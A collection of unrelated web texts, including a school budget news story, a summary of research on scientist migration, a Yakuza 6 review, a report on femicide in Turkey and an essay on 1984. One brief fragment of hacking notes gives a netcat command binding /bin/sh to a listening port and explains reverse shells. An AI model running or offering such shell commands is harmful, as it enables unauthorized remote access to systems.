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Winthrop voters to consider $10.98 million school spending proposal July 25
School officials have opposed the latest spending plan, which proposes to cut the superintendent's hours.
By Charles EichackerStaff Writer
After Winthrop voters rejected an $11.36 million school spending proposal last month, the Town Council has approved another proposal that is 3 percent lower and that will go to a referendum vote on July 25.
Councilors proposed the new, $10.98 million spending plan in part because the Winthrop School District has kept its costs around that level this year.
Winthrop voters rejected the school budget June 13, so they will get another chance July 25 to weigh in on school funding. Staff file photo by Joe Phelan
The district imposed a spending freeze as the town has tried to recover from a $1.5 million shortfall that's developed over the last two years, and town councilors would like the district to maintain those spending levels for at least a year.
Councilor Linda Caprara, a leading proponent of the cuts, said on Monday that she's heard from many residents who would like the town to minimize the effect of future budgets on their tax bills.
But school officials have opposed some of those cuts, arguing they could lead to the deterioration of the school system and the education its students receive, and a number of residents also have defended the positions that could be cut or eliminated in the new proposal.
The new spending proposal heads to voters on July 25.
It marks a 2 percent reduction from the current year's $11.2 million spending plan. It includes $315,581 for central office costs, which is $45,830 lower than the amount approved this year. That reduction could lead to the district's superintendent having to work part time — a change the Town Council has advocated but school officials have opposed.
When that reduction came up on Monday night, just one councilor, Priscilla Jenkins, voted against it. The other councilors — Caprara, June Bubier, Barbara Buck, Linda MacDonald, Rita Moran and Chairwoman Sarah Fuller — voted for the central office reductions.
Based on the spending plan approved by the councilors this week, other positions that could be cut include a that of the curriculum director and a newly created health aide's job — cuts that the School Board also has opposed.
Jenkins and Moran voted against those reductions Monday, but the rest of the councilors supported them.
If voters approve the budget later this month, it's not clear whether the School Board, which controls how education funds are spent, would make the reductions that the Town Council is advocating or find savings elsewhere. It's also not clear whether school officials will try to rally residents to vote against the proposal.
The previous, $11.36 million spending proposal was rejected in June in a 477-438 vote. Roughly 20 percent of registered voters turned out for the election.
On Tuesday, Superintendent Gary Rosenthal said the School Board will be meeting this week for an executive session to discuss employee contracts, and possibly to try to answer those other questions.
Rosenthal's salary during the 2016-2017 shool year was $99,854. He agreed to forgo a raise as part of a spending proposal the School Board passed last week, but the Town Council agreed to strip an additional $155,000 from that proposal this week. On Monday night, Rosenthal and other education officials argued against any further reductions in his position.
In some ways, the latest spending debates are a continuation of those that have been happening for much of this year, after a $1.5 million shortfall was discovered in the school side of the town's finances last summer.
School officials have argued that town employees should have recognized the discrepancy that led to the shortfall, while the Town Council has argued that Rosenthal and other school officials should have spotted it.
A recently discovered, albeit less costly, financial error led Peter Nielsen, the former town manager, to resign a year earlier than he'd planned.
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How mobile are the world's top research scientists, and do they migrate disproportionately to the richest countries? Andrew Oswald and colleagues have analysed data on the migration and productivity of Nobel Prize winners and the world's most highly cited physicists.
There is a large research literature on the "brain drain," but few researchers have looked at migration among world-class scientists. In a recent study, we analysed the international movement and productivity levels of elite research scientists, including Nobel Prize winners and a data set, which we constructed, of 158 of the world's most highly cited physicists. We draw five conclusions.
First, the UK currently wins fewer Nobel Prizes in science than it used to, and the United States garners many more. What is less widely known is that in both the UK and the United States, immigrant scientists win the Nobel Prize less often, proportionately, than in earlier decades.
Second, by charting the careers of a group of distinguished physicists, we show that they are strikingly mobile: nearly half of the world's most highly cited physicists work outside their country of birth. Our 158 physicists were born in 32 countries but now live in only 16. Approximately 30% migrated after their first degrees, and they went predominantly to the United States (see Figure 1).
Third, among highly cited physicists, the average productivity (as measured by a citations index called the h-index) of movers is not different from that of stayers. We are unable, with our data, to say whether migration itself causally increases a scholar's productivity, but it might be argued that there are no strong externality effects among senior scholars.
Fourth, international flows of physicists between their first degree and the present day demonstrate that top scholars head to countries with high levels of R&D spending. Switzerland and the United States are the world's large importers, per capita, of elite physicists. CERN, the particle physics laboratory in Switzerland, must play some role here, but because of difficulties caused by multiple affiliations, we have not attempted to separate out those scientists.
Fifth, we find evidence that among elite physicists, a current affiliation in the United States is associated with a 13-19% higher h-index. This may be a genuine productivity difference or reflect some form of pro-US citations bias or some mixture of the two.
How, conceptually, can we make sense of the data? One way to view the findings on physicists is as supporting a theoretical model in which in the modern globalised world, the costs of migration are low. Intuitively, the idea is the following.
Consider a world with very high costs – whether because of cultural differences across societies or costly travel or poor communication – of switching between countries. Then only the very best workers will migrate. This is because they alone are the ones who will make a big enough return from international labour mobility to outweigh the high costs. In this case, migrants will be disproportionately from the top end of the ability distribution. They will be outstanding scientists with, in our terminology, particularly large h-indexes.
Now contrast this with the case of low mobility costs. In that case, elite scientists of more average kinds of abilities, like the norm within the country into which they migrate, will find it rational to choose to switch countries. Hence mobile incoming scientists will be of similar quality to the average of those in the receiving country.
Most of these newcomers will not go on to win science prizes in the way that happened in an older world – think of an early twentieth century setting of ocean liners and telegrams – where mobility costs were high. Any increases through time in the wage premium earned by distinguished scientists in the rich receiving countries will act to reinforce these tendencies.
This article summarises The Elite Brain Drain by Rosalind Hunter, Andrew Oswald and Bruce Charlton, published in the Economic Journal 119(538) (February 2009): F231-51.
Rosalind Hunter and Andrew Oswald are at the University of Warwick. Bruce Charlton is at the University of Newcastle.


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Der Wasserturm in Greppin ist ein Hochbehälter in der Stadt Bitterfeld-Wolfen im Landkreis Anhalt-Bitterfeld in Sachsen-Anhalt.

Geschichte
Ähnlich wie das nördlich benachbarte Wolfen besaß auch Greppin mehrere Wassertürme. Der Wasserturm des Ortes war 40 Meter hoch und galt als Wahrzeichen Greppins. Er wurde im späten 20. Jahrhundert gesprengt. Allerdings erinnert seit dem Jahr 2015 ein 3,4 Meter hohes Modell im Ort an ihn.

Der erhaltene Wasserturm im Norden des Ortes gehörte hingegen zur Farbenfabrik, die im Jahr 1896 durch Agfa gegründet wurde. Ähnlich wie später bei der Filmfabrik Wolfen war in Berlin für eine Erweiterung kein Platz mehr. Der Turm entstand mit der Fabrik und prägte das Werksgelände mit seiner markanten Gestalt, die mit dazu führte, dass das Areal im Volksmund zeitweise auch Kreml genannt wurde. Nach der Stilllegung des Wasserturms fand man zunächst keine Nutzung. Er wurde schließlich verkauft und das Obergeschoss zu einer Wohnung umgebaut. Neben dem Turm wurde dafür ein gläsernes Treppenhaus samt Fahrstuhl errichtet.

Baubeschreibung
Der 28 Meter hohe Wasserturm wurde als Ziegelbau mit Zinnen und Friesen im Stil von Maschikulis entworfen, die sich an Risaliten befinden, die an den Seiten angebaut wurden. Durch die schmalen, aber hohen Fenster im Obergeschoss wurde die optische Anlehnung an Bergfriede ebenso zusätzlich verstärkt wie durch die um den Turm angeordneten Flachbauten. Deren Formsprache ist sehr viel einfacher gehalten. Dennoch weisen sie Friese, Treppengiebel, Segmentbogenfenster und Pilaster auf. Als Baumaterial diente vermutlich Greppiner Klinker.

Die Straße an der Fabrik wurde Wasserturmstraße benannt, was die lokale Bedeutung des Turms unterstreicht. Der Wasserturm trug die Gebäude-Nr. 24.15.0. Er steht als Baudenkmal unter Denkmalschutz und ist im Denkmalverzeichnis mit der Nummer 094 90091 erfasst.

Literatur
 Denkmalverzeichnis Sachsen-Anhalt, Landkreis Bitterfeld, Band 13, erarbeitet von Sabine Oszmer, Michael Imhof Verlag, Petersberg, ISBN 3-937251-53-7, Seite 92.

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CAUTION! Throw Away that Retractable Leash!
At Peak City Puppy, we equip our team with flat leashes and train them how to properly control dogs of all sizes on our walks. We want to thank our friend, Elaine Pendell, M.Ed., C.P.T. of CAROLINA DOG TRAINING for writing a short article explaining the dangers of retractable leashes.
Retractable leashes, otherwise known as "flexi-leashes," remove control from owners whose dogs already lack basic obedience and good manners. Also these leashes can be hazardous– causing serious injury to others.The retractable leash allows the cord to give and take which can cause the dog to pull and resist its tension. Not only will the dog be 20 or 30 feet ahead of you, he will be pulling you along for the ride! A dog's reflexes are quick. If Fido is already 20 feet ahead of you when he sees a squirrel or cat, he may pull the leash handle out of your hand before you have time to respond and press the brake button. In addition, those long cords can be hazardous when wrapped around a person's leg or body as Fido runs excited circles around your neighbors causing them to stumble and fall!Part of leash training is teaching the dog who is leading the walk. By allowing him to pull ahead, you are showing the dog that he is in charge.
True leadership comes when dogs understand that they are part of a team and most importantly, that you are team leader! Dogs who follow their leader even with distractions must focus and pay attention. This type of walk is much more challenging and tiring for the dog since it becomes both a physical and psychological exercise. Dogs are happier when they understand their role as follower within the pack. Well-mannered dogs who listen reliably ultimately get to spend more time with their humans since they are more likely to be included in their lives.
So, reel in and lock those retractable leashes. Or better yet, trade them in for a good 5- or 6-foot traditional leash that won't cause injury. Enrolling in obedience training is also advisable. Obedience training will teach your dog good manners which will lead to many tail-wagging, enjoyable walks for all!


Charlie Worsham Proposed to His Girlfriend and She Said Yes!
Charlie Worsham is officially off the market! The country singer shares that he proposed to longtime girlfriend Kristen Anne Korzenowski over the weekend. They met through her work at the Community Foundation of Middle Tennessee as he began the initial stages to setting up his Follow Your Heart Scholarship.
"The Good Lord has blessed me so much in this life, but never more than when He put this amazing woman in it," Worsham writes with a photos of himself and his future bride-to-be. "First date was at Mickey's, Pac Man table, darts and all. Since then, she's made every day sweeter. I love you, Kristen Anne Korzenowski, and I am thrilled to spend the rest of my life with you."
Swipe through the set of three photos to see a sweet kiss and her beautiful ring.
Worsham created his Follow Your Heart Scholarship in 2016 in hopes to inspire budding children musicians in his home town of Grenada, Miss.
"I want the next John Grisham or Marty Stuart to come from Grenada," he said at the time. "This is my reason for creating the Follow Your Heart Scholarship. I am partnering with the Community Foundation of Middle Tennessee to provide a scholarship to support the youth of Grenada, Mississippi —my hometown— who possess uncommon talent and desire to achieve great things in the arts, just like I have had the opportunity to do."
Source: Charlie Worsham Proposed to His Girlfriend and She Said Yes!


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* openbsd (the one that's not dangerous and therefore not fun)
* traditional
* gnu

Opening a port on moxie:

    nc -vvl -p <portNum> -e /bin/sh

Quick Basics:
* Must be on pulic IP's
* Watch out for firewalls (they'll kill this nc ability)

Cannot open a port **below 1024** without sudo

Reverse shell makes use that firewalls allow **all** outgoing connections

The injected script to the open port **spawns it's own nc** to where you are hacking from.

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The Hip Socket: Finding Neutral
All good things come from finding a neutral alignment of the pelvis
by screwing the top of the femur head into the hip socket. However,
many of us have some kind of external rotation in the upper leg
and are rarely able to find that neutral position of the thigh bone.
Luckily, there is hope for all of us with external rotation!
• The anatomy of the hip and the importance of the proper alignment of the femur head
• The effect of external rotation of the femur on muscles surrounding the hips
• The vital importance of muscle tone and balance for joint health
• Hip replacement surgery: the good, the bad and how to avoid as long as possible
• Tight hips versus open hips: who wins?
• The pros and cons of stretching for muscle mass
• Exercises that look for neutral in the pelvis and hip sockets
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"For the last six months, my main focus has been saying to people: "look, if you put your femur head correctly into the hip socket, all good times come from that..."
"When we walk, the pelvis is doing this amazing thing which is it is tilting and rotating with every successful step we take. I don't think that's happening in most people's walk."
"The world tells people to tuck their pelvises, I tell people to stick their butt out. The difference is tucking your pelvis forces your femur heads into external rotation..."
"Tonicity is different for everybody an I've been trying to build tone in my muscles. And it is not easy."
"I see a lot of people who I can't understand why I can't help them and it
ll take three or four session before they say: "You know, I wore braces on my feet as a kid." And that's all they gotta say...
"Well, there's one pose that does it better than any: bridge with a block between the thighs."
"What if you're 80 and you're not able to do wall sits or get on the floor? I'll have sit on a chair with a block between your thighs."
Exercise for Exercise's Sake
Are Your Hips Too Tight? How About Too Loose?
Sitting & Standing Test
Screwing the Femoral Head into its Socket
The Piriformis Muscle
Anatomy:
Hip Socket Anatomy
Healthy Hip X-Ray
External Rotators of the Hip Joint
Piriformis
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On behalf of Law Office of Carl A. Secola, Jr., LLC posted in products liability on Thursday, April 26, 2018.
Individuals in various industries utilize tools to help keep them safe and to help them carry out their work-related duties. When equipment does not function properly, the risk for workplace injuries could increase. If a worker does become injured due to a defective product, they may have reason to explore various options for seeking compensation, including products liability claims.
On behalf of Law Office of Carl A. Secola, Jr., LLC posted in premises liability on Wednesday, April 18, 2018.
Connecticut property owners and operators have a duty to keep their premises free of hazards or warn visitors of any existing hazards. When these actions are not taken, individuals could find themselves at risk of suffering serious injuries. Unfortunately, property hazards often exist, and when people are injured as a result of certain dangerous conditions, they may have reason to pursue premises liability claims.
On behalf of Law Office of Carl A. Secola, Jr., LLC posted in medical malpractice on Wednesday, April 4, 2018.
The death of a child is an experience that no parent wants to go through. Unfortunately, this type of scenario affects numerous families too often. In some cases, the circumstances under which the death occurred are unavoidable, but in others, someone may have been responsible for the fatal outcome. If individuals believe that medical professionals contributed to a child's death, they may find themselves exploring medical malpractice information.
On behalf of Law Office of Carl A. Secola, Jr., LLC posted in blog on Wednesday, April 4, 2018.
If asked to name common causes of car accidents, you may cite drunk driving, texting while driving or speeding. While all these are valid factors, you may be surprised that tailgating is one of the leading contributing factors of Connecticut accidents.


From Mecklenburg County, he mustered as Private, Company A, 56th Virginia Infantry on 8 July 1861.
Basic information from the Virginia Military Dead.1 Service and other details from William A. Young's 56th Virginia Infantry (roster, 1990) via the Historical Data Systems database.


Performing at 2.15pm, Literary & Acoustic Tent, Saturday 22nd April.
Up and coming talented folk due from Totnes, Devon who are making their mark in the folk scene. Their music will take you on a journey with a great story and their energy and enthusiasm on stage will find you asking for more.


Tim Godfrey drops another single titled: "WALKING MIRACLE"
The Multi-talented recording artiste with the new single titled: "Walking Miracle" was produced by SMJ for Rox Nation.
Walking Miracle serves as the 3rd single off Tim's soon to be released Fearless Wrshp album. It's a beautiful piece to help revive your spirit.
This release kicks off a challenge #WalkingMiracleLyricChallenge in which the winner get an all expense paid trip to Port Harcourt, NIGERIA for the Official album/DVD release party/concert featuring TRAVIS GREENE.


Starting this week, "People Like Us" Sermon Discussion Groups will begin meeting to talk about Pastor Kim's sermon series and learn how the book of First Corinthians can be helpful to us as we navigate the modern world. Starting on January 30th through the end of February, groups will meet on Thursdays at 7pm, Saturday mornings at 8am and Sunday mornings at 9:45am. The groups will meet for six weeks, but come when you can. Everyone is welcome.
Pastor Kim is preaching series of sermons in which we read and think about the New Testament book, First Corinthians, which was written to Christians who, were surprisingly enough, "people like us" in their struggle to live according to God's ways while their cultural environment pulled them in a very different direction.


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The End Of An Era: Yakuza 6: The Song of Life
17/07/2019 · by mirrorpurple	· in Uncategorized.	·
Hi hi, I managed to get an off day today, so I thought I can write a post.
If you know me long enough, I am a very big fan of the Yakuza series, extremely addictive game series with a lot of replay value.
I played this on the PS4 Pro.
If you guys are worried about not playinng Yakuza 3,4, and 5, relax, this game feels like a standalone.
Even if you guys skipped those 3 games, Yakuza 6 will do a quite a bit of flashbacks during the beginning of the game. This is great since Yakuza 3,4 and 5 was never localized in English, so Western audiences didn't have a chance to play them. It is localized in Chinese though, oddly.
The story is pretty solid, despite the pretty big time gap between Kiwami 2 and this game. The time gap did throw me off a little, but the pacing was adequate enough for me to catch up.
I really loved the character developments, which has been a strong point of this game series for a long time. The amount of unnecessary character deaths has toned down quite a bit here. The whole game didn't really feel like a massive buildup like its predecessors. There is actual character arcs this time, I like this format a lot more.
The antagonist-turned-protagonist characters are flooded in this game, this could be my only gripe. I ended up hating the wrong people for the wrong reasons. Well, Yakuza likes to be overexcessive at something every game.
The climax was pretty darn long but it was enjoyable at every minute. Tough fights, quick pacing, a lot of quick time events. The plot twists were coming at me non-stop and they are all unexpected.
The ending was kind of unsatisfying at first, but after some deep pondering, it was a good wrap up. Kazuma deserves a good rest.
This game marks the end of Kazuma's era, which was kind of sad for me. I feel like I grew up with Kazuma, the scene of Kazuma leaving the orphanage got me real good.
It was a perfect ending for a guy who wants to catch a break. I will miss this man. This game made me feel kind of empty for about a week. I love this man.
Now we look forward to the new era of Yakuza with new characters, Ryu Ga Gotoku Studios will release more details in August.
Graphics, Gameplay, Mechanics, Music
This is the first game that utilizes Ryu Ga Gotoku Studio's in-house game engine, Dragon Engine. This game really shows the lack of optimizations compared to Kiwami 2.
When I thought Kiwami 2 didn't look all the impressive for the 30fps compensation compared to Kiwami 1, this game was even worse.
Weird Depth of Field, jittery frames due to lack of motion blur, only 1080p for PS4 Pro (and 900p for the PS4) and little to no anti-aliasing. This game looks extremely barebones, compared to the more polished Kiwami 2. It's a 2018 game but this game feels like the improvements compared to Yakuza 0 and Kiwami 1 was even more minimal.
Well, it is their first game utilizing the engine, so we have to give them a chance. But there are better looking games out there with higher resolutions. But despite the issues, there are still things I love about the game.
The character models still looked amazing, despite their first time using the engine. Motion capture and facial capture were top-notched.
The mechanics is pretty much the same as Kiwami 2, the wonky fighting system with a troublesome lock-on system kind of kills the experience sometimes. But I got used to it so it's not so bad now. The ragdolls is also still weird too, but I find it to be comedic, so it isn't bad.
The music score pretty much the same here and there, which was great already. But the sound settings are still pretty bad, the volume rocker controls both music and sound effect volumes, making it hard to find the perfect volume.
The original cast is pretty much retained here and there, but the cast expanded too.
Yamadera Koichi, Koyama Rikiya, Kitano Takeshi, Maki Yoko, Oguri Shun, Omori Nao, Miyasako Hiroyuki, Hiyama Nobuyuki, Hosoya Yoshimasa, Fujiwara Tetsuya, Nakao Ryusei, Nakamura Yuichi were notably added into the ever expanding cast.
They all did their jobs nicely, all the facial captured characters have their own twists in appearance and I loved them all. Oguri Shun most notably, he looks extremely charming.
Story: 9/10
Gameplay and Mechanics: 7/10
Music: 8/10
Casts: 8.5/10
I really recommend this game, even if you skipped those previous 3 games. Incredible story and great ending for Kazuma, a guy who has spent almost 20 years of his life constantly fighting.
This game is exclusive for the PS4 (so far, no PC port planned as of this writing.). But the high price of the game kind of threw me off a little so I waited for a sale.
That's all for me today. Next post will probably be my 2nd round of Summer 2019 on Sunday so stay tuned to that!
I will see you guys then!
Tags: game, PS4, PS4 Pro, yakuza, Yakuza 6
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Города Дании (без Фарерских островов и Гренландии).

Города с населением более 20 000 человек (на 1 января 2006)

Ниже приведены города с населением более 20 тысяч жителей, по результатам официальных оценок бюро Статистики Дании (Danmarks Statistik). Численность населения приведена без учёта пригородов и сельского населения коммун.

 Копенгаген (1 084 885)
 Орхус (228 674)
 Оденсе (152 060)
 Ольборг (121 540)
 Эсбьерг (71 886)
 Раннерс (55 909)
 Кольдинг (55 045)
 Хорсенс (50 983)
 Вайле (49 928)
 Роскилле (45 807)
 Хернинг (44 437)
 Силькеборг (41 300)
 Нествед (41 158)
 Греве Странн (41 093)
 Хёрсхольм (37 100)
 Фредерисия (37 074)
 Хельсингёр (35 075)
 Кёге (34 476)
 Виборг (34 114)
 Хольстебро (31 955)
 Слагельсе (31 778)
 Тоструп (31 068)
 Хиллерёд (28 941)
 Сённерборг (27 391)
 Свеннборг (27 199)
 Хольбек (25 622)
 Йёрринг (24 813)
 Фредериксхавн (23 636)
 Хадерслев (21 140)
 Скиве (20 572)

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 Населённые пункты Гренландии
 Населённые пункты Фарерских островов

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 Большая карта Дании с Kort & Matrikelstyrelsen
 Карта Дании
 Карта Фарерских островов
 Карта Гренландии

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In the Kingdom of Men Women in Turkey endure a culture of violence.
May 26, 2018 | Nicole Tung & Dalia Mortada | The New York Times
Video taken moments after Handan Askin was shot is shaky, but the scene is clear: Ms. Askin is sprawled out on her back on the cobblestone street, her legs splayed. Her arms are bentupward at her elbows, and she moves her hands while her neighbor asks, "What happened?"
Nine months later in her hospital room, she recalled what happened before her husband shot her: "Emre threatened me when I told him that I wanted to separate, and he used our children to try and prevent me from submitting the documents for divorce."
Handan Askin, 30, at the hospital in Istanbul. She was shot by her husband in 2016.
She is now paralyzed from the waist down. But to some, Ms. Askin is considered lucky – she is still alive.
While the problem of physical violence has long plagued Turkish women, until recently there has been a lack of reliable statistics. In the first seven months of 2009, for example, the Justice Ministry said that 953 women were slain, while the Ministry of Family and Social Policy reported 171 women killed. Women's rights organizations like We Will Stop Femicide and The Femicide Map have begun to keep more accurate records.
According to We Will Stop Femicide, the number of women murdered by a partner or relative in Turkey increased from 237 in 2013 to 409 in 2017. The group logged 130 deaths from January through April of this year. The Femicide Map, which has been tracking violence against Turkish women since 2010, reported that nearly 2,000 women have been killed across the country in the last eight years.
Many blame the increase on the current president, Recep Tayyip Erdogan, and his Islamic-rooted Justice and Development Party. In recent years he and others in power have made public statements that degrade women. In July 2014 Bulent Arinc, then a deputy prime minister, said that a woman should not laugh in public to "preserve her decency." In 2016 Mr. Erdogan called women without children "deficient."
The Turkish government has introduced programs to protect women and in 2012 enacted domestic violence legislation. But Fidan Ataselim, the Istanbul representative of We Will Stop Femicide, says that the laws are not enforced. Officials promised to build more shelters but there is still a shortage, she said, and when women turn to the authorities for help, it often comes too late.
Judges can reduce sentences against the men for good behavior like appearing remorseful or praying regularly, which means the men tend to get off easy. This stands in stark contrast to the punishments meted to women like Nevin Yildirim, who was given a life sentence for killing and beheading the relative who raped her repeatedly, and Cilem Dogan, who was sentenced to 15 years for killing her husband after he tried to prostitute her.
To make matters worse, Turkey's court system has been in turmoil since a failed coup in 2016, further delaying already slow-moving criminal proceedings. Ms. Askin's case against her husband went through five different judges. The fifth judge elevated the charge against him from assault to attempted murder.
She said that she now hopes to serve as the voice for all of the women who have been killed and cannot seek justice for themselves.
In March 2017, Gizem Olgun was murdered by her ex-husband, to whom she had been married for eight years and with whom she had a son. He slit her throat in front of colleagues and stabbed her at least 20 times all over her body. She was 25 years old. "I have the autopsy report that shows he didn't just kill her, he tortured her." her father, Cenap Olgun, said.
In 2013, Muhterem Gocmen, 30, was stabbed to death by her husband in front of her niece at the hair salon where she workedin Istanbul. Her niece Iram, who was 10 at the time, now suffers from various skin conditions as a result of the trauma she witnessed.
Eda Okutgen, 38, was killed by her ex-husband the same year. Video surveillance camera footage showed her running down the stairs of her apartment building as she tried to flee while he pursued her.
Zehra Karagun, 19, ran away from home and eloped with a man she fell in love with while she was still in high school. Her father agreed to allow her to marry on the condition that she return home."At first, everything was good, but suddenly he got mad at everything and then started beating me. It was because I was a runaway bride – I thought I had to tolerate it."
The couple had a daughter together, but Ms. Karagun's husband grew increasingly violent. In August 2016, he entered through a front window at her family's home, where she was staying,and stabbed her 30 times. He then went after her mother when she tried to intervene, stabbing her 17 times. He was sentenced to 36 years.
Yagmur Onut, 20, was one month away from graduating from a university when she was shot and killed by her boyfriend in April 2016. He was sentenced to five years and 10 months despite a plea for a life sentence from Ms. Onut's family. His sentence was reduced to 10 months because of "good behavior" and "regular prayer." When he was released from prison, he began harassing Ms. Onut's mother, Sevgi Gulseren, on Twitter for being outspoken about her daughter's slaying.
Ferdane Col was 28 when she was stabbed 17 times by her husband just eight days before their divorce in October 2011. Her family believes that her husband and his family plotted the murder after arguments over matters including money and property deeds. Evidence showed that his relatives were also present during the killing and that she was sexually assaulted post-mortem by at least three different people. She leaves behind four children.
Borcu Capar was in her second year of high school when she dropped out to elope with a man she had met onFacebook. They were married for four years. She was 21 when she was murdered by her husband. After an argument at a wedding party in May 2014, he forced her into their car with their daughter, who was 3. Along the road he threw her out of the car, kicked her continuously and crushed her skull under his foot, with their daughter witnessing the scene. Ms. Capar was eight months pregnant. She died 15 days later from her injuries, and her baby did not survive.
Bedriye Koklutas was stabbed multiple times by her husband in January 2016. She died of her wounds 20 days later at the age of 32.
When she was 14, she had been married off to a cousin who was 15 years her senior. He would often beat her. She would return to her family's home to recover, but she was always sent back to her husband by her mother. Because her husband was a cousin, she could not easily get support from her family for a divorce. Her husband claimed that she was cheating on him and had a lover. After the stabbing he declared himself a hero for cleaning out the "bad blood," given that Ms. Koklutas was a "cheater."
Zeki Unluer, 61, with a picture of his daughter Pinar, who was murdered by an acquaintance. Credit Nicole Tung
Pinar Unluer,29,was murdered by an acquaintance in the cafeteria of her son's school. The man worked at a sandwich shop near the school and had followed her for weeks, eventually proposing to Ms. Unluer, who was a single mother. When she declined his offer, he decided to kill her. One morning in December 2012 he drove his car up and down the road outside her son's school with a shotgun in the back seat. Video surveillance cameras show him walking into the school building and shooting her twice before dropping the gun and running away.
"With Pinar's death, I am dead as well. How can I survive a nice life like normal people? The only way I can compensate is to turn my house into something like a grave. Before I die, all I want to see is a women's rights law. With each new murder, I experience the same pain all over again." Zeki Unluer, February 2017
Deniz Aktas was 20 when her boyfriend shot her three times in March 2015. She died of her wounds while the police debated outside her door about whether to intervene to help her. She had been in an abusive relationship with her boyfriend and had attempted to leave him with the help of her mother before she was killed.
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ALEXANDRIA, VA – JANUARY 13, 2020 – The National Agricultural Aviation Association (NAAA) is pleased to announce Montana native Darrin Pluhar has been elected its president for 2020.
Pluhar owns Plu's Flying Service Inc., an aerial application business in Ekalaka, Montana, that operates three aircraft. Since establishing the business in 1996, he has been servicing producers across southeastern Montana for more than 20 years. Pluhar hires pilots as needed but does most of the spraying himself. He primarily applies herbicides to winter wheat and spring wheat, but he also treats a great deal of pasture and alfalfa, with some safflower, sunflowers and corn. His season starts in April and ends in November. Besides Montana, Pluhar is licensed as a pesticide applicator in eight other states, including North Dakota, South Dakota, Wyoming, Nebraska, Iowa, Minnesota, Wisconsin and Texas, where he has performed boll weevil eradication applications.
Pluhar has been an active member of the Association of Montana Aerial Applicators (AMAA) and NAAA for years. He has served on AMAA's board since 2000. In 2008-2009, he went through the NAAA/Syngenta Leadership Training Program, which develop new leaders and advocates for the agricultural aviation industry. Pluhar served as AMAA's president in 2010-2011. He joined NAAA's board of directors as AMAA's state representative in 2013 and has served on several key committees, including NAAA's finance, government relations and safety/federal aviation regulations committees. He served as NAAA's treasurer in 2016 and as its vice president in 2019.
Besides being an aerial applicator, Pluhar is a certified flight instructor. He believes safety should always be the aerial application industry's top priority and is a strong proponent of NAAA's efforts to improve ag pilot recurrent training. To that end, he became a PAASS presenter in 2016 and has served since then as one of about a dozen presenters who deliver the Professional Aerial Applicators' Support System safety education program, known as the PAASS Program for short, at state and regional ag aviation conventions around the country.
Serving alongside Pluhar on NAAA's 2020 officer team are Vice President Mark Kimmel, owner of Dixie Dusters Inc. in Itta Bena, Mississippi; Secretary John "JT" Helms, vice president of Old Republic Aerospace Inc. in Kennesaw, Georgia; and Treasurer Mike Rivenbark, owner of Moore's Aerial Applicators in Clinton, North Carolina. Pluhar is honored to serve alongside his fellow officers.
"It is a privilege to have been chosen by the NAAA board of directors to represent this great organization as president for 2020," he said. "I am humbled beyond belief."
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Between 1802 and 1902, over two-thousand Irish emigrants moved to the United States to work in the E. I. du Pont de Nemours & Company's black powder yards on the Brandywine River in northern Delaware. Margaret Mulrooney's book Black Powder, White Lace: The du Pont Irish and Cultural Identity in Nineteenth-Century charts the origins of this community in Ireland, their migration and settlement along the Brandywine, and the world they created in their new home. Originally published in 2002, the University of Delaware Press issued a second edition in 2023.
This exhibit serves as a digital companion to the book and provides access to select original sources that inform each of Mulrooney's chapters. It offers readers a chance to go behind the book's text and appreciate the primary documents that the author used to construct her narrative. The materials featured here, all found within Hagley's collections, document the social, cultural, and economic history of the "du Pont Irish" and the du Pont family for whom they worked. Supplementing visual and written sources in its archives, Hagley also holds more than one hundred oral histories in the Brandywine Valley Oral History Project, which allow you to hear the voices of those who lived near and labored in the powder years and who generously provided Hagley staff with their stories decades ago.
The items referenced in this compendium are only an appetizer to what is available about the "du Pont Irish" at Hagley Museum and Library. Explore our library's digital archives and our museum's online collection. Even more materials can be seen by visiting our collections in person in Wilmington, Delaware. We hope this digital companion encourages you to read Mulrooney's book and to explore the documents and artifacts held in Hagley's collections.


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The style of 1984 is bleak and depressing, mirroring the functional style and aesthetics of the Party, where adornment is looked down on, individuality is discouraged, and beauty and refinement are considered politically suspect. Orwell uses straightforward grammar, reflecting his belief that uncluttered language is the most honest form of communication. In an essay called "Politics and the English Language," he states that "to think clearly is a necessary first step toward political regeneration." For Orwell, in order to think clearly one had to be able to first write clearly, and 1984 models the clarity and concision critical to independent thought. At the same time, the language is markedly oppressive and dull – mimicking the deadening effect of life under Party rule, where everything is ugly and gray. For example, the book's opening is clear and straightforward, but also evokes a sense of discomfort and misery: "Winston Smith, his chin nuzzled into his breast in an effort to escape the vile wind, slipped quickly through the glass doors of Victory Mansions, though not quickly enough to prevent a swirl of gritty dust from entering along with him." The few adjectives Orwell uses – vile, gritty – paint a bleak picture of the scene.
Although for the most part the style of 1984 is as functional and unadorned as the world it describes, Orwell sometimes modifies his style to match Winston's thoughts or emotional state. For example, when Winston writes in his diary, emotion often overtakes him and his writing changes from grammatically correct and precise to uncapitalized, unpunctuated, and with run-on sentences, mirroring his racing thoughts. At one point he writes DOWN WITH BIG BROTHER over and over again, as what his heart knows to be true overwhelms his caution and capacity to suppress emotion. Similarly, when describing beautiful objects, such as the paperweight with the piece of coral, Orwell uses more ornate, sensory language, describing "the soft, rainwatery glass." Winston believes the paperweight is more beautiful because it is useless, suggesting that in some instances language, too, can be purely poetic, with no larger political function.
Orwell also shifts the register of dialogue to differentiate characters and point out class differences, subtly commenting on the Party's ability to eradicate social inequity. Members of the Outer and Inner Party speak in Standard English, but proles, who make up 85 percent of the population, speak with Cockney accents. Characteristics of the proles' speaking style include dropping "h" sounds from words that begin in the letter H; using different verb forms, such as "I takes" instead of "I take" and "it were" instead of "it was"; leaving out vowels in the middles of some words, like "reg'lar" for "regular"; and using colorful slang terms. This difference in speaking style between the proles and the Party members marks each person as a member of a social class. By showing the differences in speaking styles, Orwell implies that despite the Party's supposed commitment to social equality, the old British class system is still in full effect.
The most striking stylistic effect of 1984 is Orwell's use of Newspeak, an invented language which corrupts English until it is unintelligible. For example: "reporting bb dayorder doubleplusungood refs unpersons . . ." Newspeak, as it sounds when spoken aloud, is "a gabbling style of speech, at once staccato and monotonous." Truncated words and standardized grammar make speech both ideologically loaded and apparently meaningless. Syme explains to Winston in Book 1 that Newspeak will finally accomplish the Party's totalitarian goal of making rebellion impossible by negating the possibility of independent thought. The Newspeak sentence "All mans are equal" means that every person is of uniform height, size, weight, etc., as the concept of political equality has been abolished. The epilogue tells us that in 1984 there is not yet anyone who speaks Newspeak as their primary language but that it is intended to take over and replace Standard English by the year 2050. However, the epilogue itself is written in standard English, a stylistic choice that injects a note of hope that the Party has not entirely succeeded in eradicating independent thought.
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Upper Slaughter, The Cotswolds
